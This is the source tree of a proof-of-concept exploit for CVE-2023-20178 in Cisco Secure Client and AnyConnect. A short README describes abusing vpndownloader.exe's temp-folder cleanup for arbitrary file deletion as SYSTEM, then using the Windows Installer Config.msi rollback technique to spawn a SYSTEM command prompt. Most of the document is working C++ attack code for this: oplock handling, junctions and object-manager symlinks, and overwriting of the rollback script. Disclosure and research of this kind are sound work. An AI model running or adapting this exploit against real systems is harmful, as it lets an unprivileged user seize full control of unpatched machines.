├── exploit
├── Project5
│ ├── cmd.rbs
│ ├── Msi_Rollback.msi
│ ├── Project5.vcxproj.user
│ ├── resource.h
│ ├── FileOpLock.h
│ ├── Project5.vcxproj.filters
│ ├── resource.rc
│ ├── def.h
│ ├── FileOpLock.cpp
│ ├── Project5.vcxproj.xml
│ └── main.cpp
└── Project5.sln
└── README.md
/exploit/Project5/cmd.rbs:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Wh04m1001/CVE-2023-20178/HEAD/exploit/Project5/cmd.rbs
--------------------------------------------------------------------------------
/exploit/Project5/Msi_Rollback.msi:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Wh04m1001/CVE-2023-20178/HEAD/exploit/Project5/Msi_Rollback.msi
--------------------------------------------------------------------------------
/exploit/Project5/Project5.vcxproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/exploit/Project5/resource.h:
--------------------------------------------------------------------------------
1 | //{{NO_DEPENDENCIES}}
2 | // Microsoft Visual C++ generated include file.
3 | // Used by FolderOrFileDeleteToSystem.rc
4 | //
5 | #define IDR_RBS1 101
6 | #define IDR_MSI1 102
7 |
8 | // Next default values for new objects
9 | //
10 | #ifdef APSTUDIO_INVOKED
11 | #ifndef APSTUDIO_READONLY_SYMBOLS
12 | #define _APS_NEXT_RESOURCE_VALUE 107
13 | #define _APS_NEXT_COMMAND_VALUE 40001
14 | #define _APS_NEXT_CONTROL_VALUE 1001
15 | #define _APS_NEXT_SYMED_VALUE 101
16 | #endif
17 | #endif
18 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # CVE-2023-20178
2 |
3 | This is PoC for Arbitrary File Delete vulnerability in Cisco Secure Client (tested on 5.0.01242) and Cisco AnyConnect (tested on 4.10.06079).
4 |
5 | 
6 |
7 | When a user connect to vpn, vpndownloader.exe process is started in background and it will create directory in c:\windows\temp with default permissions in following format:
8 | .tmp
9 | After creating this directory vpndownloader.exe will check if that directory is empty and if its not it will delete all files/directories in there.
10 | This behaviour can be abused to perform arbitrary file delete as NT Authority\SYSTEM account.
11 |
12 | Arbitrary file delete is then used to spwan system cmd process by abusing windows installer behaviour which is described in ZDI article https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks (discovered by @KLINIX5)
13 |
14 | # Advisory
15 |
16 | https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ac-csc-privesc-wx4U4Kw
17 |
--------------------------------------------------------------------------------
/exploit/Project5/FileOpLock.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #include
4 | #include
5 |
6 | class FileOpLock
7 | {
8 | public:
9 | typedef void(*UserCallback)();
10 | static FileOpLock* CreateLock(HANDLE hfile, FileOpLock::UserCallback cb);
11 | static FileOpLock* CreateLock(const std::wstring& name, FileOpLock::UserCallback cb);
12 | void WaitForLock(UINT Timeout);
13 |
14 | ~FileOpLock();
15 | private:
16 |
17 | HANDLE g_hFile;
18 | OVERLAPPED g_o;
19 | REQUEST_OPLOCK_INPUT_BUFFER g_inputBuffer;
20 | REQUEST_OPLOCK_OUTPUT_BUFFER g_outputBuffer;
21 | HANDLE g_hLockCompleted;
22 | PTP_WAIT g_wait;
23 | UserCallback _cb;
24 |
25 | FileOpLock(UserCallback cb);
26 |
27 | static void CALLBACK WaitCallback(PTP_CALLBACK_INSTANCE Instance,
28 | PVOID Parameter, PTP_WAIT Wait,
29 | TP_WAIT_RESULT WaitResult);
30 | static void CALLBACK WaitCallback2(PTP_CALLBACK_INSTANCE Instance,
31 | PVOID Parameter, PTP_WAIT Wait,
32 | TP_WAIT_RESULT WaitResult);
33 | void DoWaitCallback();
34 | void DoWaitCallbackt();
35 | bool BeginLock(HANDLE hfile);
36 | bool BeginLock(const std::wstring& name);
37 |
38 | };
39 |
40 |
41 |
--------------------------------------------------------------------------------
/exploit/Project5.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.3.32922.545
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Project5", "Project5\Project5.vcxproj", "{0C189DF0-3C0D-4EC3-A773-70B900D41495}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|x64 = Debug|x64
11 | Debug|x86 = Debug|x86
12 | Release|x64 = Release|x64
13 | Release|x86 = Release|x86
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {0C189DF0-3C0D-4EC3-A773-70B900D41495}.Debug|x64.ActiveCfg = Debug|x64
17 | {0C189DF0-3C0D-4EC3-A773-70B900D41495}.Debug|x64.Build.0 = Debug|x64
18 | {0C189DF0-3C0D-4EC3-A773-70B900D41495}.Debug|x86.ActiveCfg = Debug|Win32
19 | {0C189DF0-3C0D-4EC3-A773-70B900D41495}.Debug|x86.Build.0 = Debug|Win32
20 | {0C189DF0-3C0D-4EC3-A773-70B900D41495}.Release|x64.ActiveCfg = Release|x64
21 | {0C189DF0-3C0D-4EC3-A773-70B900D41495}.Release|x64.Build.0 = Release|x64
22 | {0C189DF0-3C0D-4EC3-A773-70B900D41495}.Release|x86.ActiveCfg = Release|Win32
23 | {0C189DF0-3C0D-4EC3-A773-70B900D41495}.Release|x86.Build.0 = Release|Win32
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {BCE71789-5C71-4FD6-8A4D-A1508ED198F5}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/exploit/Project5/Project5.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 | Source Files
23 |
24 |
25 |
26 |
27 | Header Files
28 |
29 |
30 | Header Files
31 |
32 |
33 | Header Files
34 |
35 |
36 |
37 |
38 | Resource Files
39 |
40 |
41 |
--------------------------------------------------------------------------------
/exploit/Project5/resource.rc:
--------------------------------------------------------------------------------
1 | // Microsoft Visual C++ generated resource script.
2 | //
3 | #include "resource.h"
4 |
5 | #define APSTUDIO_READONLY_SYMBOLS
6 | /////////////////////////////////////////////////////////////////////////////
7 | //
8 | // Generated from the TEXTINCLUDE 2 resource.
9 | //
10 | #include "winres.h"
11 |
12 | /////////////////////////////////////////////////////////////////////////////
13 | #undef APSTUDIO_READONLY_SYMBOLS
14 | /////////////////////////////////////////////////////////////////////////////
15 | // English (United Kingdom) resources
16 |
17 | #if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_ENG)
18 | LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_UK
19 | #pragma code_page(1252)
20 |
21 | #ifdef APSTUDIO_INVOKED
22 | /////////////////////////////////////////////////////////////////////////////
23 | //
24 | // TEXTINCLUDE
25 | //
26 |
27 | 1 TEXTINCLUDE
28 | BEGIN
29 | "resource.h\0"
30 | END
31 |
32 | 2 TEXTINCLUDE
33 | BEGIN
34 | "#include ""winres.h""\r\n"
35 | "\0"
36 | END
37 |
38 | 3 TEXTINCLUDE
39 | BEGIN
40 | "\r\n"
41 | "\0"
42 | END
43 |
44 | #endif // APSTUDIO_INVOKED
45 |
46 |
47 | /////////////////////////////////////////////////////////////////////////////
48 | //
49 | // RBS
50 | //
51 |
52 | IDR_RBS1 RBS "cmd.rbs"
53 |
54 |
55 | /////////////////////////////////////////////////////////////////////////////
56 | //
57 | // MSI
58 | //
59 |
60 | IDR_MSI1 MSI "Msi_Rollback.msi"
61 |
62 | #endif // English (United Kingdom) resources
63 | /////////////////////////////////////////////////////////////////////////////
64 |
65 |
66 |
67 | #ifndef APSTUDIO_INVOKED
68 | /////////////////////////////////////////////////////////////////////////////
69 | //
70 | // Generated from the TEXTINCLUDE 3 resource.
71 | //
72 |
73 |
74 | /////////////////////////////////////////////////////////////////////////////
75 | #endif // not APSTUDIO_INVOKED
76 |
--------------------------------------------------------------------------------
/exploit/Project5/def.h:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include
9 | #include "resource.h"
10 |
11 | #pragma warning(disable:4996)
12 | #pragma comment(lib, "Msi.lib")
13 | #pragma comment(lib, "Shlwapi.lib")
14 | #pragma comment(lib, "PathCch.lib")
15 | #pragma comment(lib,"RpcRT4.lib")
16 | wchar_t dir[MAX_PATH] = { 0x0 };
17 | NTSTATUS retcode;
18 | HANDLE h = NULL;
19 | HANDLE hDir;
20 | HANDLE hFile;
21 | HMODULE hm = GetModuleHandle(NULL);
22 | HRSRC res = FindResource(hm, MAKEINTRESOURCE(IDR_RBS1), L"rbs");
23 | DWORD RbsSize = SizeofResource(hm, res);
24 | void* RbsBuff = LoadResource(hm, res);
25 |
26 | wchar_t object[MAX_PATH] = L"Global\\GLOBALROOT\\RPC Control\\1.tmp";
27 | wchar_t target[] = L"C:\\Config.msi::$INDEX_ALLOCATION";
28 |
29 | BOOL Created(HANDLE hDir);
30 | DWORD WINAPI install(void*);
31 | void cb0();
32 | VOID Fail();
33 | LPWSTR BuildPath(LPCWSTR);
34 | void cb1();
35 | void load();
36 | HANDLE myCreateDirectory(LPWSTR file, DWORD access, DWORD share, DWORD dispostion);
37 | BOOL Move(HANDLE hFile);
38 | BOOL CreateJunction(HANDLE hDir, LPCWSTR target);
39 | BOOL DosDeviceSymLink(LPCWSTR object, LPCWSTR target);
40 | BOOL DeleteJunction(HANDLE hDir);
41 | BOOL DelDosDeviceSymLink(LPCWSTR object, LPCWSTR target);
42 | typedef struct _REPARSE_DATA_BUFFER {
43 | ULONG ReparseTag;
44 | USHORT ReparseDataLength;
45 | USHORT Reserved;
46 | union {
47 | struct {
48 | USHORT SubstituteNameOffset;
49 | USHORT SubstituteNameLength;
50 | USHORT PrintNameOffset;
51 | USHORT PrintNameLength;
52 | ULONG Flags;
53 | WCHAR PathBuffer[1];
54 | } SymbolicLinkReparseBuffer;
55 | struct {
56 | USHORT SubstituteNameOffset;
57 | USHORT SubstituteNameLength;
58 | USHORT PrintNameOffset;
59 | USHORT PrintNameLength;
60 | WCHAR PathBuffer[1];
61 | } MountPointReparseBuffer;
62 | struct {
63 | UCHAR DataBuffer[1];
64 | } GenericReparseBuffer;
65 | } DUMMYUNIONNAME;
66 | } REPARSE_DATA_BUFFER, * PREPARSE_DATA_BUFFER;
67 | typedef struct _OBJECT_DIRECTORY_INFORMATION {
68 | UNICODE_STRING Name;
69 | UNICODE_STRING TypeName;
70 | } OBJECT_DIRECTORY_INFORMATION, * POBJECT_DIRECTORY_INFORMATION;
71 | #define STATUS_MORE_ENTRIES 0x00000105
72 | #define STATUS_NO_MORE_ENTRIES 0x8000001A
73 | #define IO_REPARSE_TAG_MOUNT_POINT (0xA0000003L)
74 |
75 | typedef NTSYSAPI NTSTATUS(NTAPI* _NtCreateFile)(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, PLARGE_INTEGER AllocationSize, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, ULONG EaLength);
76 | typedef NTSYSAPI VOID(NTAPI* _RtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString);
77 | typedef NTSYSAPI NTSTATUS(NTAPI* _NtOpenDirectoryObject)(OUT PHANDLE DirectoryHandle, IN ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes);
78 | typedef NTSYSAPI NTSTATUS(NTAPI* _NtQueryDirectoryObject)(_In_ HANDLE DirectoryHandle, _Out_opt_ PVOID Buffer, _In_ ULONG Length, _In_ BOOLEAN ReturnSingleEntry, _In_ BOOLEAN RestartScan, _Inout_ PULONG Context, _Out_opt_ PULONG ReturnLength);
79 | typedef NTSYSCALLAPI NTSTATUS(NTAPI* _NtSetInformationFile)(
80 | HANDLE FileHandle,
81 | PIO_STATUS_BLOCK IoStatusBlock,
82 | PVOID FileInformation,
83 | ULONG Length,
84 | ULONG FileInformationClass
85 | );
86 |
87 | _RtlInitUnicodeString pRtlInitUnicodeString;
88 | _NtCreateFile pNtCreateFile;
89 | _NtSetInformationFile pNtSetInformationFile;
90 | _NtQueryDirectoryObject pNtQueryDirectoryObject;
91 | _NtOpenDirectoryObject pNtOpenDirectoryObect;
--------------------------------------------------------------------------------
/exploit/Project5/FileOpLock.cpp:
--------------------------------------------------------------------------------
1 |
2 | #include "FileOpLock.h"
3 | #include
4 |
5 |
6 |
7 | FileOpLock::FileOpLock(UserCallback cb) :
8 | g_inputBuffer({ 0 }), g_outputBuffer({ 0 }), g_o({ 0 }), g_hFile(INVALID_HANDLE_VALUE), g_hLockCompleted(nullptr), g_wait(nullptr), _cb(cb)
9 | {
10 | g_inputBuffer.StructureVersion = REQUEST_OPLOCK_CURRENT_VERSION;
11 | g_inputBuffer.StructureLength = sizeof(g_inputBuffer);
12 | g_inputBuffer.RequestedOplockLevel = OPLOCK_LEVEL_CACHE_READ | OPLOCK_LEVEL_CACHE_HANDLE;
13 | g_inputBuffer.Flags = REQUEST_OPLOCK_INPUT_FLAG_REQUEST;
14 | g_outputBuffer.StructureVersion = REQUEST_OPLOCK_CURRENT_VERSION;
15 | g_outputBuffer.StructureLength = sizeof(g_outputBuffer);
16 | }
17 |
18 |
19 | FileOpLock::~FileOpLock()
20 | {
21 | if (g_wait)
22 | {
23 | SetThreadpoolWait(g_wait, nullptr, nullptr);
24 | CloseThreadpoolWait(g_wait);
25 | g_wait = nullptr;
26 | }
27 |
28 | if (g_o.hEvent)
29 | {
30 | CloseHandle(g_o.hEvent);
31 | g_o.hEvent = nullptr;
32 | }
33 |
34 | if (g_hFile != INVALID_HANDLE_VALUE)
35 | {
36 | CloseHandle(g_hFile);
37 | g_hFile = INVALID_HANDLE_VALUE;
38 | }
39 | }
40 | bool FileOpLock::BeginLock(const std::wstring& filename)
41 | {
42 | g_hLockCompleted = CreateEvent(nullptr, TRUE, FALSE, nullptr);
43 | g_o.hEvent = CreateEvent(nullptr, FALSE, FALSE, nullptr);
44 |
45 |
46 |
47 | g_hFile = CreateFileW(filename.c_str(), GENERIC_READ, FILE_SHARE_WRITE | FILE_SHARE_READ | FILE_SHARE_DELETE,
48 | 0, OPEN_EXISTING, FILE_FLAG_OVERLAPPED | FILE_FLAG_BACKUP_SEMANTICS, 0);
49 | if (g_hFile == INVALID_HANDLE_VALUE) {
50 |
51 | return false;
52 | }
53 |
54 | g_wait = CreateThreadpoolWait(WaitCallback, this, nullptr);
55 | if (g_wait == nullptr)
56 | {
57 |
58 | return false;
59 | }
60 |
61 | SetThreadpoolWait(g_wait, g_o.hEvent, nullptr);
62 |
63 | DeviceIoControl(g_hFile, FSCTL_REQUEST_OPLOCK,
64 | &g_inputBuffer, sizeof(g_inputBuffer),
65 | &g_outputBuffer, sizeof(g_outputBuffer),
66 | nullptr, &g_o);
67 | if (GetLastError() != ERROR_IO_PENDING) {
68 |
69 | return false;
70 | }
71 |
72 | return true;
73 | }
74 | bool FileOpLock::BeginLock(HANDLE hfile)
75 | {
76 | g_hLockCompleted = CreateEvent(nullptr, TRUE, FALSE, nullptr);
77 | g_o.hEvent = CreateEvent(nullptr, FALSE, FALSE, nullptr);
78 |
79 |
80 |
81 | g_hFile = hfile;
82 | if (g_hFile == INVALID_HANDLE_VALUE) {
83 |
84 | return false;
85 | }
86 |
87 | g_wait = CreateThreadpoolWait(WaitCallback, this, nullptr);
88 | if (g_wait == nullptr)
89 | {
90 |
91 | return false;
92 | }
93 |
94 | SetThreadpoolWait(g_wait, g_o.hEvent, nullptr);
95 | DWORD bytesReturned;
96 |
97 | DeviceIoControl(g_hFile, FSCTL_REQUEST_OPLOCK,
98 | &g_inputBuffer, sizeof(g_inputBuffer),
99 | &g_outputBuffer, sizeof(g_outputBuffer),
100 | nullptr, &g_o);
101 | /*DeviceIoControl(g_hFile,
102 | FSCTL_REQUEST_OPLOCK_LEVEL_1,
103 | NULL, 0,
104 | NULL, 0,
105 | &bytesReturned,
106 | &g_o);*/
107 | if (GetLastError() != ERROR_IO_PENDING) {
108 |
109 | return false;
110 | }
111 |
112 | return true;
113 | }
114 | FileOpLock* FileOpLock::CreateLock(const std::wstring& name, FileOpLock::UserCallback cb)
115 | {
116 | FileOpLock* ret = new FileOpLock(cb);
117 |
118 | if (ret->BeginLock(name))
119 | {
120 | return ret;
121 | }
122 | else
123 | {
124 | delete ret;
125 | return nullptr;
126 | }
127 | }
128 | FileOpLock* FileOpLock::CreateLock(HANDLE hfile, FileOpLock::UserCallback cb)
129 | {
130 | FileOpLock* ret = new FileOpLock(cb);
131 |
132 | if (ret->BeginLock(hfile))
133 | {
134 | return ret;
135 | }
136 | else
137 | {
138 | delete ret;
139 | return nullptr;
140 | }
141 | }
142 | void FileOpLock::WaitForLock(UINT Timeout)
143 | {
144 | WaitForSingleObject(g_hLockCompleted, Timeout);
145 | }
146 |
147 | void FileOpLock::WaitCallback(PTP_CALLBACK_INSTANCE Instance,
148 | PVOID Parameter, PTP_WAIT Wait,
149 | TP_WAIT_RESULT WaitResult)
150 | {
151 | UNREFERENCED_PARAMETER(Instance);
152 | UNREFERENCED_PARAMETER(Wait);
153 | UNREFERENCED_PARAMETER(WaitResult);
154 |
155 | FileOpLock* lock = reinterpret_cast(Parameter);
156 |
157 | lock->DoWaitCallback();
158 | }
159 | void FileOpLock::WaitCallback2(PTP_CALLBACK_INSTANCE Instance,
160 | PVOID Parameter, PTP_WAIT Wait,
161 | TP_WAIT_RESULT WaitResult)
162 | {
163 | UNREFERENCED_PARAMETER(Instance);
164 | UNREFERENCED_PARAMETER(Wait);
165 | UNREFERENCED_PARAMETER(WaitResult);
166 |
167 | FileOpLock* lock = reinterpret_cast(Parameter);
168 |
169 | lock->DoWaitCallbackt();
170 | }
171 | void FileOpLock::DoWaitCallbackt()
172 | {
173 | DWORD dwBytes;
174 | if (!GetOverlappedResult(g_hFile, &g_o, &dwBytes, TRUE)) {
175 |
176 | }
177 |
178 | if (_cb)
179 | {
180 | _cb();
181 | }
182 | g_hFile = INVALID_HANDLE_VALUE;
183 | SetEvent(g_hLockCompleted);
184 | }
185 | void FileOpLock::DoWaitCallback()
186 | {
187 | DWORD dwBytes;
188 | if (!GetOverlappedResult(g_hFile, &g_o, &dwBytes, TRUE)) {
189 |
190 | }
191 |
192 | if (_cb)
193 | {
194 | _cb();
195 | }
196 |
197 |
198 | CloseHandle(g_hFile);
199 | g_hFile = INVALID_HANDLE_VALUE;
200 | SetEvent(g_hLockCompleted);
201 | }
202 |
--------------------------------------------------------------------------------
/exploit/Project5/Project5.vcxproj.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 | 16.0
23 | Win32Proj
24 | {0c189df0-3c0d-4ec3-a773-70b900d41495}
25 | Project5
26 | 10.0
27 |
28 |
29 |
30 | Application
31 | true
32 | v143
33 | Unicode
34 |
35 |
36 | Application
37 | false
38 | v143
39 | true
40 | Unicode
41 |
42 |
43 | Application
44 | true
45 | v143
46 | Unicode
47 |
48 |
49 | Application
50 | false
51 | v143
52 | true
53 | Unicode
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 | Level3
76 | true
77 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
78 | true
79 |
80 |
81 | Console
82 | true
83 |
84 |
85 |
86 |
87 | Level3
88 | true
89 | true
90 | true
91 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
92 | true
93 |
94 |
95 | Console
96 | true
97 | true
98 | true
99 |
100 |
101 |
102 |
103 | Level3
104 | true
105 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
106 | true
107 | MultiThreaded
108 |
109 |
110 | Console
111 | true
112 |
113 |
114 |
115 |
116 | Level3
117 | true
118 | true
119 | true
120 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
121 | true
122 | MultiThreaded
123 |
124 |
125 | Console
126 | true
127 | true
128 | true
129 |
130 |
131 |
132 |
133 |
134 |
135 |
136 |
137 |
138 |
139 |
140 |
141 |
142 |
143 |
144 |
145 |
146 |
--------------------------------------------------------------------------------
/exploit/Project5/main.cpp:
--------------------------------------------------------------------------------
1 | #include "def.h"
2 | #include "FileOpLock.h"
3 | int wmain(int argc, wchar_t** argv) {
4 | load();
5 | HANDLE hdir = myCreateDirectory(BuildPath(L"C:\\windows"), GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_DELETE | FILE_SHARE_WRITE, FILE_OPEN_IF);
6 | if (hdir == NULL) {
7 | printf("[!] Cannot open directory!\n");
8 | return 1;
9 | }
10 | hFile = myCreateDirectory(BuildPath(L"C:\\Config.msi"), GENERIC_READ | DELETE, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN_IF);
11 | if (hFile == NULL)
12 | {
13 | printf("[!] Failed to create C:\\Config.msi directory. Trying to delete it.\n");
14 | install(NULL);
15 | hFile = myCreateDirectory(BuildPath(L"C:\\Config.msi"), GENERIC_READ | DELETE, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN_IF);
16 | if (hFile != INVALID_HANDLE_VALUE)
17 | {
18 | printf("[+] Successfully removed and recreated C:\\Config.Msi.\n");
19 | }
20 | else
21 | {
22 | printf("[!] Failed. Cannot remove c:\\Config.msi");
23 | return 1;
24 | }
25 | }
26 | if (!PathIsDirectoryEmpty(L"C:\\Config.Msi"))
27 | {
28 | printf("[!] Failed. C:\\Config.Msi already exists and is not empty.\n");
29 | return 1;
30 | }
31 |
32 | printf("[+] Config.msi directory created!\n");
33 | CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Created, hdir,0,NULL);
34 | SetPriorityClass(GetCurrentProcess(), HIGH_PRIORITY_CLASS);
35 | SetThreadPriorityBoost(GetCurrentThread(), TRUE);
36 | SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL);
37 | FileOpLock* oplock;
38 | oplock = FileOpLock::CreateLock(hFile, cb1);
39 | if (oplock != nullptr) {
40 | oplock->WaitForLock(INFINITE);
41 | delete oplock;
42 | }
43 | do {
44 | hFile = myCreateDirectory(BuildPath(L"C:\\Config.msi"), GENERIC_READ | WRITE_DAC | READ_CONTROL | DELETE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN_IF);
45 | } while (!hFile);
46 | char buff[4096];
47 | DWORD retbt = 0;
48 | FILE_NOTIFY_INFORMATION* fn;
49 | WCHAR* extension;
50 | WCHAR* extension2;
51 | do {
52 | ReadDirectoryChangesW(hFile, buff, sizeof(buff) - sizeof(WCHAR), TRUE, FILE_NOTIFY_CHANGE_FILE_NAME,
53 | &retbt, NULL, NULL);
54 | fn = (FILE_NOTIFY_INFORMATION*)buff;
55 | size_t sz = fn->FileNameLength / sizeof(WCHAR);
56 | fn->FileName[sz] = '\0';
57 | extension = fn->FileName;
58 | PathCchFindExtension(extension, MAX_PATH, &extension2);
59 | } while (wcscmp(extension2, L".rbs") != 0);
60 |
61 | SetSecurityInfo(hFile, SE_FILE_OBJECT, UNPROTECTED_DACL_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION, NULL, NULL, NULL, NULL);
62 | while (!Move(hFile)) {
63 |
64 | }
65 | HANDLE cfg_h = myCreateDirectory(BuildPath(L"C:\\Config.msi"), FILE_READ_DATA, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_CREATE);
66 | WCHAR rbsfile[MAX_PATH];
67 | _swprintf(rbsfile, L"C:\\Config.msi\\%s", fn->FileName);
68 | HANDLE rbs = CreateFile(rbsfile, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
69 | if (WriteFile(rbs, RbsBuff, RbsSize, NULL, NULL)) {
70 | printf("[+] RBS file overwritten!\n");
71 |
72 | }
73 | else
74 | {
75 | printf("[!] Failed to overwrite rbs file!\n");
76 | }
77 | CloseHandle(rbs);
78 | CloseHandle(cfg_h);
79 | DelDosDeviceSymLink(object, BuildPath(target));
80 | }
81 | BOOL Created(HANDLE hDir) {
82 | PFILE_NOTIFY_INFORMATION fi = NULL;
83 | BOOL deleted = FALSE;
84 | wchar_t file[MAX_PATH] = { 0x0 };
85 |
86 | FileOpLock* oplock;
87 | do {
88 |
89 | wchar_t buff[4096] = { 0 };
90 | DWORD ret = 0;
91 | ReadDirectoryChangesW(hDir, buff, 4096, TRUE, FILE_NOTIFY_CHANGE_DIR_NAME, &ret, NULL, NULL);
92 | fi = (PFILE_NOTIFY_INFORMATION)buff;
93 | if ((fi->Action == FILE_ACTION_ADDED) && (wcswcs(fi->FileName, L".tmp"))) {
94 | swprintf(dir, L"C:\\windows\\%s\\tmp", fi->FileName);
95 | swprintf(file, L"C:\\windows\\%s\\tmp\\1.tmp", fi->FileName);
96 | SetThreadPriorityBoost(GetCurrentThread(), TRUE);
97 | SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL);
98 | while (!CreateDirectory(dir, NULL));
99 | do {
100 | h = CreateFile(file, DELETE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS,FILE_FLAG_OVERLAPPED, NULL);
101 | } while (h == INVALID_HANDLE_VALUE);
102 | printf("[+] Directory: %ls\n", dir);
103 | printf("[+] File: %ls\n", file);
104 | oplock = FileOpLock::CreateLock(h, cb0);
105 | if (oplock != NULL) {
106 | oplock->WaitForLock(INFINITE);
107 | }
108 | deleted = TRUE;
109 | }
110 | } while (deleted == FALSE);
111 | return TRUE;
112 | }
113 | void cb0() {
114 | printf("[+] Oplock triggered!\n");
115 | CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Fail, NULL, 0, NULL);
116 | while (!Move(h)) {}
117 | printf("[+] File moved!\n");
118 | hDir = CreateFile(dir, FILE_WRITE_DATA, FILE_SHARE_READ | FILE_SHARE_DELETE | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL);
119 | DosDeviceSymLink(object, BuildPath(target));
120 | CreateJunction(hDir, L"\\RPC Control");
121 | }
122 | BOOL Move(HANDLE hFile) {
123 | if (hFile == INVALID_HANDLE_VALUE) {
124 | printf("[!] Invalid handle!\n");
125 | return FALSE;
126 | }
127 | wchar_t tmpfile[MAX_PATH] = { 0x0 };
128 | RPC_WSTR str_uuid;
129 | UUID uuid = { 0 };
130 | UuidCreate(&uuid);
131 | UuidToString(&uuid, &str_uuid);
132 | _swprintf(tmpfile, L"\\??\\C:\\windows\\temp\\%s", str_uuid);
133 | size_t buffer_sz = sizeof(FILE_RENAME_INFO) + (wcslen(tmpfile) * sizeof(wchar_t));
134 | FILE_RENAME_INFO* rename_info = (FILE_RENAME_INFO*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY | HEAP_GENERATE_EXCEPTIONS, buffer_sz);
135 | IO_STATUS_BLOCK io = { 0 };
136 | rename_info->ReplaceIfExists = TRUE;
137 | rename_info->RootDirectory = NULL;
138 | rename_info->Flags = 0x00000001 | 0x00000002 | 0x00000040;
139 | rename_info->FileNameLength = wcslen(tmpfile) * sizeof(wchar_t);
140 | memcpy(&rename_info->FileName[0], tmpfile, wcslen(tmpfile) * sizeof(wchar_t));
141 | NTSTATUS status = pNtSetInformationFile(hFile, &io, rename_info, buffer_sz, 65);
142 | if (status != 0) {
143 | return FALSE;
144 | }
145 | return TRUE;
146 | }
147 | void load() {
148 | HMODULE ntdll = LoadLibraryW(L"ntdll.dll");
149 | if (ntdll != NULL) {
150 | pRtlInitUnicodeString = (_RtlInitUnicodeString)GetProcAddress(ntdll, "RtlInitUnicodeString");
151 | pNtCreateFile = (_NtCreateFile)GetProcAddress(ntdll, "NtCreateFile");
152 | pNtQueryDirectoryObject = (_NtQueryDirectoryObject)GetProcAddress(ntdll, "NtQueryDirectoryObject");
153 | pNtOpenDirectoryObect = (_NtOpenDirectoryObject)GetProcAddress(ntdll, "NtOpenDirectoryObject");
154 | pNtSetInformationFile = (_NtSetInformationFile)GetProcAddress(ntdll, "NtSetInformationFile");
155 | }
156 | if (pRtlInitUnicodeString == NULL ||pNtCreateFile == NULL || pNtQueryDirectoryObject == NULL || pNtOpenDirectoryObect == NULL || pNtSetInformationFile == NULL) {
157 | printf("Cannot load api's %d\n", GetLastError());
158 | exit(0);
159 | }
160 |
161 | }
